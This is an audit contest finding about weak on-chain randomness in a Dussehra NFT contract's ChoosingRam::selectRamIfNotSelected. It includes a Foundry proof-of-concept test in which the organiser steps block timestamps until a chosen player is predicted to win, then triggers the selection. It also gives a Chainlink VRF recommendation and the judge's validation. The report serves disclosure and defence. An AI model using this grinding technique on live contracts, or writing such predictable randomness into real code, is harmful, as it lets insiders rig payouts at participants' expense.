Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: low
Valid

The organiser can predict the outcome of `ChoosingRam::selectRamIfNotSelected` and select the user who will get the reward

Summary

The function ChoosingRam::selectRamIfNotSelected depends on a random value to select the participant to be selected as Ram. This function generates the random number by using block.timestamp and block.prevrandao values. Those values are considered a bad source of randomness. The organiser can predict the outcome and execute the function only if the desired user will become Ram. The selected Ram will take the reward.

Vulnerability Details

Using block.timestamp as a source of randomness is commonly advised against, as the outcome can be manipulated by calling contracts. Also, for some chains like zkSync block.prevrandao is a constant value. This will allow the users to predict the result of the calculated number in Line 90 of ChoosingRam.sol: uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();. This will give the organiser the opportunity to break the random selection of the Ram and to select a specific user who will collect the reward.

Proof of Concept

The following code demonstrates how an attack can be executed.

function test_ramSelectionIsNotRandom() public {
Dussehra dussehra;
RamNFT ramNFT;
ChoosingRam choosingRam;
address organiser = makeAddr("organiser");
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
address player3 = makeAddr("player3");
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
// the organiser wants player2 to become Ram
vm.startPrank(organiser);
uint256 time = 1728691200 + 1;
// the loop will execute until player2 is the Ram
while (true) {
vm.warp(++time);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao))
) % ramNFT.tokenCounter();
// the outcome of the random calculation is checked
if (ramNFT.getCharacteristics(random).ram == player2) {
// if the player2 will be the Ram then
// selectRamIfNotSelected is executed
choosingRam.selectRamIfNotSelected();
break;
}
}
vm.warp(time);
vm.stopPrank();
// it is confirmed that player2 is the Ram
assertEq(choosingRam.isRamSelected(), true);
assertEq(choosingRam.selectedRam(), player2);
}

Impact

The bad source of randomness gives the opportunity to the organiser to select the specific user which will become Ram and which will get the reward. Although, the organiser is considered to be trusted, the desired logic of the contract is not implemented correctly. The random number is not really a random number.

Tools Used

Manual review

Recommendations

Consider using a decentralized oracle for the generation of random numbers, such as Chainlinks VRF. The Chainlink VRF gives two methods to request randomness: subscription and direct funding method. They will have their added cost, but will solve the randomness issues of the Dussehra contract.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::selectRamIfNotSelected`

The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.